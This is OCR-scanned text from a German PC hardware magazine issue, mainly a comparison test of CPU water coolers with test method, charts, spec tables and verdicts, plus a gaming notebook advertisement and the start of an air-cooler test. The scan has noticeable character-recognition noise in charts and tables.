Intel Core i7-6770HQ (Iris Pro 580) Egi ШШ 32,9 (Basis) 
Intel Core i7-6700K (HD 530) 22,1 (Basis) 
AMD A10-9700 (R7 Series) ШЕ 22,1 (Basis) 


Intel Core i7-6770HQ (Iris Pro 580) EEE 25,2 (-23 %) 
AMD A10-9700 (R7 Series) [Xs ШЕШШ 19,2 (-13 %) 
Intel Core i7-6700K (HD 530) Em 18,6 (-16 96) 


System: HP Pavilion 510-p150ng, Intel Skull Canyon NUC, Core i7-6700K-IGP (Desktop), 
2x 8 GiB DDR4-2133; Win10 x64 (1607), RSCE 16.9.2, Intel 21.20.16.4542 Beta Bemer- 
kungen: Messungen in 1.920 x 1.080, Voreinstellung , Mittel", Speicherschutz/Vsync aus. 


Mimil @ Fps 


» Besser 


System: HP Pavilion 510-p150ng, Intel Skull Canyon NUC, Intel Core i7-6700K-IGP 
(Desktop), 2x 8 GiByte DDR4-2133; Win10 x64 (1607), RSCE 16.9.2, Intel 21.20.16.4542 
Beta Bemerkungen: Messungen in 1.366 x 768, Voreinstellung „Niedrig“. 


Mimil 2 Fps 


» Besser 
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WINIIERZAITION 


GAMING NOTEBOOKS MIT GRATIS ZUBEHÖR-PAKET 


Nur solange Vorrat reicht: im Wert von bis zu 


- Intel? Core" 17 Prozessor der sechsten Generation - Windows 10 Home · 
: Geforce? GTX 1080 / GTX 1070 - VR READY - 120-Hz-True-Color-Display - 


ví CHECK : Super Raid 4 mit PCI-E Gen 3 NVMe 5505. Beleuchtete SteelSeries Gaming-Tastatur - 
Editor's Choice Killer" DoubleShot-Pro-X3" mit Killer" Shield - Thunderbolt" 3 mit USB 3.1 Typ-C - 
weree : Starke Cooler Boost Titan Kühlung - Dynaudio Sound mit Nahimic 2 Audio Enhancer" - 
LUXX Intel Inside®. Herausragende Leistung Outside. 
HIER KAUFEN: " 
DEUTSCHLAND: OSTERREICH: 
Alternate comtech Euronics MediaMarkt.de Otto.de E-Tec.at 
Arlt Computer Cyberport HWH Mindfactory Redcoon.de MediaMarkt.at 
Bora Computer Easynotebooks HardwareCamp24 Notebook.de Saturn.de Saturn.at 
CaseKing Expert K&M Computer notebooksbilliger.de 


"Alles Infos zur Winteraktion und den Bundle-Paketen unter http://msi-gaming.de/winteraktion "Spezifikationen modellabhängig. 


Intel, das Intel Logo, Intel Inside, Intel Core, und Core Inside sind Marken der Intel Corporation in den USA und anderen Ländern. MSI-GAMI NG.DE/WINTE RAKTION 


Weitere verwendete Marken und Handelsnamen beziehen sich auf die jeweiligen Eigentümer oder deren Produkte. 


=й PROZESSOREN | CPU-Wasserkühler 


CPU 


auf Tauchstation 


Letzte Ausgabe setzten wir unseren Test-Prozessor unter anderem mit Aquacomputers neuem Cuplex 


Kryos Next „unter Wasser”, diese Ausgabe testen wir eine noch leistungsfähigere Neuvorstellung. 


er Wasserkühlungsmarkt ist 
Da Es dauert nicht nur ein 
halbes Jahrzehnt und länger, bis ein 
High-End-CPU-Kühler hinter die 
Konkurrenz zurückfällt und einen 
Nachfolger erhält, auch zwischen 
der ersten Ankündigung eines neu- 
en Produkts und dessen Verfüg- 
barkeit können schon einmal zwei 
Monate ins Land ziehen. 


Testfeld 

Im Falle des Alphacool Eisblock 
XPX sind diese jetzt vergangen, so- 
dass wir den in der letzten Ausgabe 
versprochenen Test nachreichen 
können. Zur besseren Einordnung 
testen wir außerdem den Sieger 
des 2015er PCGH-CPU-Wasserküh- 
lertests. Zwei seitdem vorgestellte 
Modelle von in Deutschland eher 
unbedeutenden Anbietern ver- 
vollständigen das Testfeld. Insge- 


46 PC Games Hardware | 01/17 


samt deckt unsere Übersicht alle 
Hersteller ab, die nach 2012 neue 
Sockel-2011-kompatible 
kühler-Designs auf den deutschen 
Markt gebracht haben! 


Wasser- 


Testphilosophie 

Nicht neu vorgestellt, sondern un- 
verändert aus der letzten Ausga- 
ben übernommen wurde unsere 
Testmethodik. Tatsächlich fanden 
die Messungen für Teil 1 und 2 un- 
mittelbar hintereinander zum Ende 
der Produktion der PCGH 12/2016 
beziehungsweise am Anfang der 
Produktion der PCGH 01/2017 statt 
und stellen somit eine uneinge- 
schränkt vergleichbare Messreihe 
dar. Zur besseren Übersicht finden 
Sie die gesammelten Leistungswer- 
te aus beiden Testfeldern oben 
rechts und eine gemeinsame Test- 
tabelle auf den folgenden Seiten. 


Leistungsmessungen 

Die Kühlleistung bewerten wir an- 
hand der Kerntemperaturen unse- 
res Xeon E5-2687W relativ zur Tem- 
peratur des Wassers, mit dem die 
Testkandidaten die nominell 150 W 
Abwärme des Prozessors wegküh- 
len sollen. Um Schwankungen im 
Anzeigewert der vergleichsweise 
groben CPU-internen Sensoren zu 
kompensieren, mitteln wir diesen 


Artikel aus PCGH 12/2016 auf Heft-DVD 


Passend zu den abge- 
druckten Benchmarks 
und der Testtabelle finden 
Sie auf der Heft-DVD den 
ersten Teil dieser Marktüber- 


Delta-Wert über einen Zeitraum 
von fünf Minuten. Außerdem wird 
jeder Kühler vier Mal in wechseln- 
der Ausrichtung vermessen, um 
etwaige Ausrichtungspräferenzen 
zu ermitteln und Variationen bei 
Montage und Wärmeleitpasten- 
auftrag zu erfassen. Diese können 
im gedrängten Testfeld leicht die 
Unterschiede zwischen verschiede- 
nen Produkten maskieren. 


> 


CPU auf Tauchstation 


sicht mit den Beschreibungen von Aquacom- 
puter Cuplex Kryos Next, Anfi-tec Drei, Water- 
cool Heatkiller IV und XPSC Raystorm Pro. 
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Zweiter Parameter unserer Leis- 
tungsmessung ist der Druckabfall 
am Kühler bei einem vorgegebenen 
Durchfluss. Dieser ist proportional 
zum Widerstand der Kühlstruktur 
und - im Gegensatz zum zusätzlich 
angegebenen Durchfluss bei einer 
vorgegebenen Pumpleistung - un- 
abhängig vom restlichen Kreislauf. 


Die 
auch weiterführende Rechnungen: 
Der zur Überwindung des Wider- 
stands zweier Kühler benötigte 
Förderdruck entspricht exakt der 
Summe ihrer Einzelwiderstände - 


Druckmessungen erlauben 


jeweils bezogen auf den von uns 
gewählten und in der Praxis oft 
als sinnvoll angestrebten Referenz- 
durchfluss von 60 l/h. Umgekehrt 
lässt sich aus der Förderkennlinie 
einer Pumpe ableiten, ob sie diesen 
Durchfluss beim vorliegenden Ge- 
samtwiderstand erreichen kann - 
bei unseren Testprobanden ist dies 
aber nie ein Problem, selbst wenn 
zahlreiche Kühler mit ähnlichem 
Widerstand im Kreislauf sind. 


Alphacool Eisblock XPX: Mit neuem 
Aufbau zurück zur Leistungsspitze. 
Vor über 10 Jahren waren Alpha- 
cools Nexxxos das Maß der Dinge 
(siehe PCGH 07/2016), zwischen- 
zeitlich versackten die CPU-Kühler 
aber eher im Mittelfeld. Im Rahmen 
der „Eis“-Produktoffensive, die be- 
reits in PCGH 06/2016 (Ausgleichs- 
behálter Eisbecher) und 08/2016 
(Kompaktwasserkühlung Eisbaer) 
positiv auffiel, soll sich dies ändern. 
Das neue Topmodell heifst Eisblock 
XPX und ist seit den Gründungsta- 
gen der erste Alphacool-CPU-Küh- 
ler, bei dem sowohl Deckel und 
Bodenplatte als auch Funktions- 
prinzip neu entwickelt wurden. 


Letzteres entspricht jetzt dem bei 
zahlreichen Herstellern bewáhrten 
Prinzip mit einem zentralen Ein- 
lassschlitz und darunter liegenden 
Lamellen, durch die das Wasser 
in zwei Richtungen abfliefst. Al- 
phacool ergänzt vergleichsweise 
geräumige und strömungsgüns- 
tig geschwungene Kanäle im aus 
zwei Spritzgusselementen gebilde- 
ten Deckel, sodass man trotz der 
sehr feinen, engen Kanäle in der 
Bodenplatte keinen allzu großen 
Rückstand beim Durchflusswider- 
stand hat. Ebenfalls klein ist der 
Kühlleistungsvorsprung auf Water- 
cool und Aquacomputer - aber der 
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Vorsprung ist vorhanden und nicht 
mehr allein durch Messungenauig- 
keiten zu erklären. Das ist mehr, als 
die meisten anderen Neuvorstel- 
lungen der letzten Jahre von sich 
behaupten konnten, und mit dem 
Cuplex Kryos Next entthront Al- 
phacool einen nur wenige Wochen 
alten namhaften Konkurrenten. 


Die insgesamt beste Leistungsnote 
ergänzt Alphacool mit einem ange- 
messenen Lieferumfang und der 
Unterstützung nahezu aller Sockel. 
Hier macht sich positiv bemerkbar, 
dass Alphacool dank Eisbaer und 
dem Auftragsprodukt Be Quiet Si- 
lent Loop Halterungsteile in ganz 
anderen Stückzahlen und mit ande- 
ren Produktionsmethoden fertigt 
als kleinere Konkurrenten. Gar- 
niert wird das technisch gelungene 
Produkt mit einer in zahlreichen 
Farben erhältlichen und mit einem 
beleuchteten Logo versehenen Ab- 
deckung über dem eigentlichen 
Kühlerdeckel, 
eher nüchterne Design auflockert. 


welche das sonst 


EK Water Blocks Supremacy Evo: 
Ausstattung verliert nicht an Wert. 
Der Supremacy Evo gewann be- 
reits unsere letzte Martkübersicht 
in der PCGH 08/2015 und wird als 
Vergleichsmodell und Vertreter der 
letzten Generation ein zweites Mal 
getestet. Sein Abschneiden ähnelt 
dabei dem ersten Auftritt, denn da- 
mals wie heute belegt er den letz- 
ten Platz in der Kühlleistungswer- 
tung - was dramatischer klingt, als 
es die Praxisauswirkungen von 1,7 
Kelvin höheren CPU-Temperaturen 
in der Praxis sind. Der vergleichs- 
weise geringe Durchflusswider- 
stand relativiert den kleinen Kühl- 
leistungsrückstand zusätzlich. 


Hauptveranwortlich für das gute 
Abschneiden ist aber erneut die 
B-Note. Von der umfangreichen So- 
ckelkompatibilität über die einfa- 
che Montage und die vorbildliche 
Anleitung bis hin zum vollständi- 
gen Lieferumfang einschließlich 
High-End-Wärmeleitpaste und den 
Garantiebedingungen ist EK Water 
Blocks vielfach vorbildlich und er- 
laubt sich keinen einzigen Patzer. 
Für Systeme, deren Farbschema 
nicht zu klarem Acryl oder schwar- 
zem Delrin passt, gibt es den Küh- 
ler mittlerweile auch mit farbigem 
Deckel oder in verschiedenen Voll- 
metall-Ausführungen. 


Kühlleistung: Alphacool schlägt Aquacomputer 


Temperaturdifferenz Wasser/CPU; Xeon E5-2687W @ Core Damage 


Alphacool Eisblock XPX EX 18,8 (Basis) 
Watercool Heatkiller IV Pro =a 19,1 (+2 96) 
Aquacomputer Cuplex Kryos Next Em 19,1 («2 %) 
Anfi-tec Drei RE 19,5 (+4 96) 
ХЅРС Raystorm Pro waw 19,7 (+5 96) 
Bitspower Summit EF EX 19,9 (+6 %) 
Raijintek CWB-C1 EX 20, (+9 %) 
EK Water Blocks Supremacy Evo 2<.T<gƏ9III IC€—GOGGL GIIGGIIIIƏƏX$IEəIƏ£IƏƏICIÜHGDIUINEI 20,5 (+9 96) 


System: 150 W TDP; Aquacomputer Aquastream XT @75 Hz, Watercool HTSF2 360, 35 
°C Wassertemperatur Bemerkungen: Leistungsunterschiede sind zwar vorhanden, aber 
von geringer Bedeutung für die Praxis. 


Grad Celsius 
< Besser 


Fließwiderstand: Deutliche Unterschiede 


Druckabfall am Kühlkörper bei einem Durchfluss von 60 I/h 
Anfi-tec Drei uui 14,6 (-36 %) 
XSPC Raystorm Pro Em 14,8 (-36 %) 
Bitspower Summit EF Xu 14,8 (-36 %) 
EK Water Blocks Supremacy Evo En 16,9 (-26 96) 


Raijintek CWB-C1 uE 19,5 (1590 
Aquacomputer Cuplex Kryos Next ERR 20,7 (-10 96) 
Watercool Heatkiller IV Pro ERR 21,5 (-6 96) 
Alphacool Eisblock XPX ===——88 23,0 (Basis) 


System: Aquastream XT, Durchfluss durch Verengung auf 60 l/h justiert. Druckdifferenz- 
messung, Mittelwert aus 3 Messungen Vergleichswerte: CPC-Schnellkupplung 17 
mbar; maximaler Fórderdruck AS XT 334 mbar @ 87 Hz, 94 mbar @ 50 Hz. 


Grad Celsius 
< Besser 


Abdeckung, Halterung, Zierkappen und Logo des Eisblock XPX móchte Alphacool in 
verschiedenen Farben anbieten (hier: Prototypen ohne „Eisblock XPX"-Schriftzug) 


Der mittige Einlassschlitz über der Kühlstruktur des Bitspower Summit EF entspricht 
eher einem breiten Schacht und dient nicht der FlieBbeschleunigung. 
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Zwillinge: Im Inneren unterscheidet sich Raijinteks CWB-C1 (links) nur durch die 


etwas gröbere Struktur von Thermaltakes Pacific W1 (rechts) 


CPU-KÜHLER 
WASSER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


Bitspower Summit EF: Solides Design 
zum ungewóhnlich hohen Preis. Bit- 
spower war in PCGH-Tests bislang 
nur mit einem Ausgleichsbehälter 
vertreten, bietet neben anderen 
Designelementen wie Anschlüssen 
aber auch diverse Kühlkórper an. 
Der Summit EF stellt das aktuelle 
CPU-Kühler-Topmodell dar und 
nutzt das gleiche beliebte Strö- 
mungskonzept wie Alphacool und 
drei der vier Kühler aus Teil 1 die- 
ser Marktübersicht. Kurios mutet 
dabei aber die extrem große Öff- 
nung in der Metallplatte zwischen 
Deckel und Bodenplatte des Sum- 
mit EF an. Andere Hersteller nutzen 
hier schmale Schlitze, durch die das 
Wasser mit hoher Geschwindig- 
keit in die Kühlstruktur gepresst 
wird, denn prinzipiell begünstigt 
starke Verwirbelung den Wärme- 
austausch. Bei Bitspowers 6 mm 


breiter Spalte entfällt diese Funkti- 
onalität, was sich auch in den Leis- 
tungswerten niederschlägt. So ge- 
hört der Durchfluss zu den besten 
im Test, die Kühlleistung dagegen 
zu den schlechtesten. Letzteres ist, 
wie auch bei EK Water Blocks kein 
Beinbruch und umgekehrt haben 
Wasserkühlungskreisläufe auch 
mit weitaus höheren Widerständen 
kein Problem, sodass der Rückstand 
der Leistungsnote gering ausfällt. 


Bitspower versäumt es aber, an an- 
derer Stelle Mehrwerte zu bieten. 
Obwohl der Summit EF der teu- 
erste Kühler im Test ist, liegt ihm 
nicht einmal Wärmeleitpaste bei 
und die Anleitung ist die knappste 
im Test. Auch zwischen AMD- und 
Intel-Plattformen muss man sich 
vor dem Kauf entscheiden, obwohl 
die Halterung aus einem einfachen 


Enblock AE 


Нагйшаге 


Eisblock XPX 


Alphacool (wwww.alphacool.de) 


Supremacy Evo 
EK Water Blocks (www.ekwb.com) 


Aquacomputer 


Test in PCGH 12/2016 
Zeie Kıyas Not 


Test in PCGH 12/2016 


Нагйшаге 


Cuplex Kryos Next 
Aquacomputer (www.aquacomputer.de) 


Drei 
Anfi-tec (www.anfi-tec,de) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 70,-/befriedigend 


Ca. € 70,-/befriedigend 


Ca. € 85,-/befriedigend 


Ca. € 75,-/befriedigend 


Link zum PCGH-Preisvergleich 


Noch nicht gelistet 


www.pcgh.de/preis/1163243 


Noch nicht gelistet 


www.pcgh.de/preis/1420476 


Getestete Ausführung 


Schwarz 


Deckel Acryl/Boden vernickelt 


Vernickelt 


Edelstahl/schwarz/rauchgrau 


Alternative Ausführungen 


Deckel und Halterung in Silber. Rote und 
blaue Variationen sowie verschiedenfarbige 
Logos als Zubehör. 


Deckel blau, rot, grün transparent, weiß, 
schwarz, Kupfer oder Kupfer vernickelt; Bo- 
denplatte unvernickelt oder vergoldet 


Deckel aus Plexiglas, schwarz (Delrin), 
Messing, Kupfer (versiegelt, vernickelt oder 
Titan-beschichtet); Boden Kupfer, Kupfer 
vernickelt oder .925 Sterling-Silber. Optional: 
Bodenplatte verstellbar (Vario); OLED-Dis- 
play, RGB-LED, Temperaturfühler (Vision) 


Beliebige Kombination aus Halterung Edel- 
stahl, Messing, Kupfer; Deckel schwarz, weiß 
und Blende Plexiglas (6 Farben + 4 Farben 
UV-aktiv), Messing, Kupfer, Aluminium 


FAZIT 
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© Leichter Leistungsvorsprung 
© High-End-Wärmeleitpaste 


© Sockelkompatibilität (inklusive AM4) 


Wertung: 1,28 


© Sockelkompat 
© Lieferumfang 
© Kühlmittel freigegeben 


Wertung: 1,41 


© Leichter Leistungsvorsprung 
© High-End-Wärmeleitpaste 
© Sockelspezifische Halterung 


Wertung: 1,41 


Ausstattung (20%) 1,00 133 1,18 2,06 

Zubehór Wármeleitpaste (Tütchen XPX/Gelid Backplate, Wärmeleitpaste (Gelid GC Inbusschlüssel für Halterung; Spritze Wär- — |Schlüsselband; Einweghandschuhe; Spritze 
Extreme); Backplate; beleuchtetes Logo; Extreme), Inbusschlüssel für Kühlerumbau, | meleitpaste (Thermal Grizzly Kryonaut) Wármeleitpaste (Arctic Silver V) 
Zierkappen für Schrauben Bohrungen für LEDs 

Anleitung Gut, vollstándig bebildert, Deutsch Gut, vollstándig bebildert, Englisch Gut, teilweise bebildert, Deutsch Gut, teilweise bebildert, Deutsch 

Abstand Anschlüsse 38,0 mm 29,0 mm 28,0 mm 38,0 mm 

Maximale Gewindelänge 9,0 mm 8,0 mm 10,0 mm 8,0 mm 

Material Deckel; Boden Polyamid unter Alu-Abdeckung; Kupfer (vernickelt) | Acryl; Kupfer (vernickelt) Kupfer (vernickelt); Kupfer (vernickelt) POM, Plexiglas-Inlay; Kupfer 

Eigenschaften (20%) 2,16 1,48 2,48 1,64 

Sockelunterstützung AMD AM4/AM3(+)/AM2(+)/FM2(+)/FM1/C32/G34 | АМЗ(+)/АМ2(+)/ЕМ2(+)/ЕМ1 - - 

Sockelunterstützung Intel 1150/1151/1155/1156/2011/2011- 1150/1151/1155/1156/2011/2011- /2011/2011-v3 1150/1151/1155/1156/2011/2011-v3 
ү3/1366/775 v3/1366/775 

Auch verfügbar für 2011/2011-v3 narrow ILM 2011(-v3) mit vormontierter Halterung AM3(+)/AM2(+)/FM2(+)/FM1; AM3(+J/AM2(+)/FM2(+)/FM1; 2011/2011- 

1150/1151/1155/1156 v3 narrow ILM 

МаВе (B x H x T) und Gewicht 66 x 32 x 66 mm; 199 g 60 x 23 x 60 mm; 183 g 59 x 20 x 54 mm; 398 g 56 x 17 x 60 mm; 152g 

Montageaufwand (AMD/115X/2011) Mittel/mittel/mittel Mittel/gering/gering Mittel/mittel/gering Mittel/mittel/gering 

Platinenausbau nótig (AMD/115X/2011) Nein/ja/nein Jalja/nein Ja/jalnein Nein/ja/nein 

Gedrehte Montage möglich (AMD/115X/2011) |Ja/ja/ja Nein/ja/ja Nein/ja/ja Nein/nein/ja 

Anpressdruck Durch Halterung vorgegeben Durch Halterung vorgegeben Durch Halterung vorgegeben Durch Halterung vorgegeben 

Angabe Kühlmedium Keine Angabe Empfehlung: Destilliertes Wasser + Korro- — | Vorgeschrieben: Aquacomputer Double Empfehlung: Destilliertes Wasser (ggf. mit 

sionsschutz Protect Ultra Zitronensäure) 

Leistung (60%) 1,09 1,41 1,14 1,17 

Differenztemperatur 18,8 Kelvin 20,5 Kelvin 19,1 Kelvin 19,5 Kelvin 

Vorzugsorientierung Keine Parallel zu RAM (-0,5 K) Parallel zu RAM (-0,2 K) Keine 

Durchfluss* 143 I/h 148 I/h 147 Vh 151 l/h 

Druckabfall @60 I/h 23,0 mbar 16,9 mbar 20,7 mbar 14,6 mbar 


© Designvielfalt 
© Kühlmittel freigegeben 
© Für einen Kühler mit POM-Deckel teuer 


Wertung: 1,44 


www.pcgameshardware.de 


*Komplettes System inklusive Sensoren und HTSF2 360 
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Blech besteht, und Casemoddern 
werden zwar Bohrungen für 3-und 
für 5-mm-LEDs geboten - entspre- 
chende Beleuchtung muss aber ex- 
tra gekauft werden. 


Raijintek CWB-C1: Bekannter Auf- 
bau, bekannte Mängel, guter Preis. 
Raijintek ist erst seit Kurzem im 
Wasserkühlungsbereich aktiv und 
wurde als Außenseiter zur Markt- 
übersicht eingeladen. Der teilneh- 
mende Kühler entpuppt sich aber 
als alter Bekannter: Große Teile des 
Designs entsprechen dem Ther- 
maltake Pacific W1, den wir bereits 
in der PCGH 08/2015 testeten. Tat- 
sächlich sind alle Bauteile beider 
Kühler gegeneinander austauchbar 
- Raijintek hat lediglich die äußere 
Gestaltung des Deckels verändert 
und nutzt eine Bodenplatte mit 
etwas gröberer Lamellenstruktur. 


Letzteres ist ausnahmsweise kein 
Nachteil, denn die nach dem Vor- 
bild von Luftkühlern im „Skieved 
fin‘-Verfahren aus einem Kupfer- 
block geschnittenen Lamellen hat- 
ten bei Thermaltake eine extrem 
große, in ihrem Sinn fragliche 
Oberfläche. Raijintek sorgt somit 
eher für einen reduzierten Durch- 
flusswiderstand im Vergleich zum 
Pacific W1 und nicht für höhere 
Temperaturen. 


Gleich geblieben sind allerdings 
die gehobene Restbodenstärke 
und die große Tiefe der Kühlstruk- 
tur, die bewirken, dass viel Wasser 
weit oberhalb der Wärmequelle 
und mit reduzierter Kühlwirkung 
durch den Kühler fließt. Zusätz- 
lich vermeidet der einfache Paral- 
leldurchfluss von einer Seite des 
Kühlers zur anderen jegliche Be- 


schleunigung oder Verwirbelung 
der Strömung, was das Kühlpo- 
tenzial weiter einschränkt. Trotz 
seiner vielfach größeren Wärme- 
austauschfläche platziert sich der 
CWB-C1 so auf Augenhöhe mit EK 
Water Blocks Supremacy Evo. 


Ein großer Nachteil gegenüber die- 
sem ist aber die ebenfalls unverän- 
dert von Thermaltake übernomme 
Halterung. Zwar kommt sie mit 
wenigen Bauteilen aus, verzichtet 
aber auf einen an die Kühlerhöhe 
angemessenen Anschlag und auf fe- 
dernde Elemente. Der Unterschied 
zwischen einem lose aufliegenden, 
Kühlleistung verschenkenden Küh- 
ler und einer Anpresskraft, die so 
hoch ist, dass der Speicher in unse- 
rem Test-Mainboard nicht mehr er- 
kannt wird, beträgt kaum mehr als 
eine Schraubendrehung. Erfahrene 


Anwender, die das nötige Gefühl 
haben, um die optimale Einstellung 
in der Mitte zu finden, bekommen 
bei Raijintek aber immerhin den 
einzigen Vollmetallkühler dieser 
Ausgabe - und das zum günstigsten 
Preis. Andere Hersteller verlangen 
für einen Kupferdeckel dagegen 
meist 10 bis 20 Euro Aufpreis. (tv) 


Fazit Нагішаге 


Wasser ist und bleibt cool 

Die Tendenz der letzten Jahre setzt 
sich fort und die Auswahl eines Was- 
serkühlers hat weiterhin kaum Einfluss 
auf die Kühlleistung — das Grundprin- 
zip ist, gemessen an den Bedürfnissen 
heutiger CPUs, einfach zu gut. Die Aus- 
gestaltung im Detail darf daher getrost 
nach Geschmack, Budget und Handha- 
bung entschieden werden. 


Test in PCGH 12/2016 
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CPU-KÜHLER ë 
WASSER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


Hea 


Watercool (www.watercool.de) 


tkiller IV Pro 


Raystorm Pro 
XSPC (www.xs-pc.com) 


Summit EF 


Bitspower (www.bitspower.com) 


CWB-C1 


Raijintek (www.raijintek.com) 


Preis/Preis-Leistungs-Verhältnis Са. € 


80,-/befriedigend 


Ca. € 90,-/ausreichend 


Ca. € 100,-/mangelhaft 


Ca. € 60,-/befriedigend 


Link zum PCGH-Preisvergleich www. 


.pcgh.de/preis/1256427 


www.pcgh.de/preis/1340423 


www.pcgh.de/preis/1340562 


www.pcgh.de/preis/1336726 


Getestete Ausführung 


Pure Copper 


Schwarz (Intel) 


Acryl 


Alternative Ausführungen 


Vernickelt, anthrazit vernickelt, Deckel Acryl, 
Deckel schwarz (Delrin). Die Letzteren bei- 
den auch ohne Inlay 


AMD mit schwarzer Halterung, Intel mit 
weißer oder roter Halterung 


rungsfarben als Zubehör 


Deckel Acryl blau, Acryl rot, Acryl schwarz, |- 
weiß mit Halterung schwarz; Deckel Acryl 
klar mit Halterung silber. Weitere Halte- 


Sockelunterstützung AMD - 


Ausstattung (20%) 2,55 1,62 2,62 1,71 

Zubehör Inbusschlüssel für Kühlermontage Backplate; zwei weiße 3-mm-LEDs für Backplate, Inbusschlüssel zum Öffnen des Backplate, Inbusschlüssel zum Wechseln 
Kühlerbeleuchtung; Spritze Wärmeleitpaste |Kühlers der Halterung 
(XSPC КЗ) 

Anleitung Gut, teilweise bebildert, Deutsch Gut, vollständig bebildert, Englisch Nur Explosionszeichnung der Halterung, Gut, vollständig bebildert, Deutsch 

Englisch 

Abstand Anschlüsse 25,0 mm 26,0 mm 26,0 mm 34,0 mm 

Maximale Gewindelänge 7,5 mm 12,0 mm 6,0 mm 9,0 mm 

Material Deckel; Boden Kupfer, Edelstahl-Inlay; Kupfer Kupfer (v. Aluminium-Halterung verdeckt); Kupfer | Acryl; Kupfer (vernickelt) Kupfer (vernickelt); Kupfer (vernickelt) 

Eigenschaften (20%) 1,60 2,32 2,44 2,92 


АМЗ(+)/АМ2(+)/ЕМ2(+)/ЕМ1 


Sockelunterstützung Intel 


1150/1151/1155/1156/2011/2011-v3 


1150/1151/1155/1156/2011/2011-v3/1366 


v3/1366/775 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156/2011/2011- 
v3/1366/775 


Auch verfügbar für 


AM3( 
v3 narrow ILM 


+)/АМ2(+)/ЕМ2(+)/ЕМ1; 2011/2011- 


АМЗ(+)/АМ2(+)/ЕМ2(+)/ЕМ1 


АМЗ(+)/АМ2(+)/ЕМ2(+)/ЕМ1 


© Kül 


FAZIT 
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© Leichter Leistungsvorsprung 


© Knapper Lieferumfang 


© Beleuchtung 
hlmittel freigegeben 
© Relativ teuer 


Wertung: 1,51 


© Niedriger FlieBwiderstand 


Wertung: 1,52 


© Niedriger FlieBwiderstand 
© Teuer 
© Knappe Gewindetiefe 


Maße (B x H x T) und Gewicht 59 x 17 x 66 mm; 434 g 56 x 21 x 56 mm; 377 g 66 x 18 x 66 mm; 128 g 54 x 15 x 60 mm; 318 g 
Montageaufwand (AMD/115X/2011) Mittel/mittel/gering Gering/mittel/gering Mittel/mittel/gering Hoch/mittel/gering 
Platinenausbau nötig (AMD/115X/2011) Nein/ja/nein Nein/ja/nein Jalja/nein Ја/ја/пеіп 
Gedrehte Montage möglich (AMD/115X/2011) | Nein/ja/ja Nein/ja/ja Nein/ja/ja Nein/ja/ja 

2 |Anpressdruck Durch Halterung vorgegeben Durch Halterung vorgegeben Durch Halterung vorgegeben (höhere Werte | Keine Vorgabe/Orientierung, schwer 

N möglich) dosierbar 

E [Angabe Kühlmedium Empfehlung: Destilliertes Wasser (ggf. mit |Keine Angabe Keine Angabe Keine Angabe 

Е Zitronensäure) 

ЕЙ Leistung (60%) 1,14 1,21 1,26 1,43 

9 Differenztemperatur 19,1 Kelvin 19,7 Kelvin 19,9 Kelvin 20,5 Kelvin 

Š Vorzugsorientierung Keine Parallel zu RAM (-0,4 K) Parallel zu RAM (-0,1 K) Parallel zu RAM (-0,1 K) 

E Durchfluss* 143 I/h 153 l/h 151 l/h 145 l/h 

= |Druckabfall @60 l/h 21,5 mbar 14,8 mbar 14,8 mbar 19,5 mbar 

Е 

= 

5 

x 


Wertung: 1,77 


© Sockelkompatibilitát 
© Für Vollmetall günstig 
© Ungefederte Halterung 


Wertung: 1,78 
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А Monate ist es her, dass 
CGH CPU-Kühler getestet 
hat und doch hat sich erstaunlich 
wenig im oberen und mittleren 
Marktsegment getan. Für diesen 
Vergleich versammeln wir deswe- 
gen ein außergewöhnlich buntes 
Testfeld. Neben der lange überfäl- 
ligen Vorstellung des riesigen 
Thermalright Le Grande Macho RT 
und dem ansehnlichen, gleichzei- 
tig mit diesem Heft erscheinenden 
Scythe Mugen 5, nutzen wir die Ge- 
legenheit auch, um einige deutlich 
kleinere und günstigere Modelle 
durch unseren Testparcours zu 
schicken. 


Ein Test, sie zu knechten 
Tests passender Kühler für ITX- 
PCs und sehr günstige Office-Zu- 
sammenstellungen werden immer 
wieder von Lesern gewünscht, 
eins müssen wir aber klarstellen: 
Obwohl alle hier versammelten 
Kühler für den Sockel 2011 freige- 
geben sind, ist dieser oft nicht ihr 
angedachtes Einsatzgebiet. Dass der 
PCGH-Kühlertests sie an ihre Leis- 
tungsgrenzen und darüber hinaus 
führt, ist für kleine Kühler also kei- 
ne Schande. Die 150 Watt nominelle 
Abwärme unseres Xeon E5-2687W 
stellen für Kühler der 92-mm-Klas- 
se eine echte Herausforderung dar 
und führen zu deutlich höheren 
Temperaturen als mit sparsamen 
Mittelklasse-Prozessoren, die im 
realen Einsatz eher 50 bis 60 Watt 
Strom in Wärme verwandeln. 


Wir haben uns dennoch entschlos- 
sen, selbst den günstigsten und 
kleinsten Kühler im Test mit unse- 
rem normalen Testsystem zu quä- 
len. Der für diese Modelle praxisfer- 
ne Härtefall führt zwar zwangsläufig 
zu schlechten Leistungsnoten, er ist 
aber informativer als ein speziell 
angepasstes Test- und Wertungs- 
system ohne Vergleichswerte. Die 
von uns ermittelten Temperaturen 
sind somit zwar bedenklich hoch, 
sie lassen sich aber direkt mit den 
älteren Testergebnissen von zahlrei- 
chen anderen Kühlern vergleichen, 
welche zum Teil nur ein paar Euro 
teurer oder ein paar Zentimeter 
größer sind. Die Rangfolge zwi- 
schen diesen Kühlern bleibt auch 
in sparsameren Systemen gewahrt, 
allenfalls die Größe der Abstände 
sinkt mit den Absoluttemperaturen 
zusammen, wenn die Verlustleis- 
tung geringer ausfällt. 
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Die genannten Kühlleistungsmes- 
sungen führen wir wie gewohnt bei 
100, 75 und 50 Prozent der Maxi- 
maldrehzahl des Serienlüfters und 
zusätzlich mit einem leisen Refe- 
renzlüfter von Be Quiet bei entspre- 
chenden Leistungsstufen durch. 
Insbesondere die extrem leisen 
50- und 75-Prozent-Referenzmes- 
sungen mussten wir zum Teil bei 
einer reduzierten Raumtemperatur 
durchführen, damit die Test-CPU 
ihre Leistung nicht drosselt. Tat- 
sächlich erreicht der heißeste der 
acht Rechenkerne die kritischen 92 
°C teilweise schon, wenn die CPU 
im Mittel nur 87 °C warm ist. Die 
auf 20 °C normierten Temperatur- 
angaben in diesem Test wären also 
bedenklich, tatsächlich fanden die 
entsprechenden Messungen aber 
bei niedrigeren Raumtemperaturen 
statt und es wurde sorgfältig auf et- 
waiges Throttling geachtet. 


Ruhe bewahren 

Auch der kleinste Kühler kann 
viel Wärme abführen, wenn man 
einfach sehr starke, laute Lüfter be- 
nutzt. Deswegen fließt neben den 
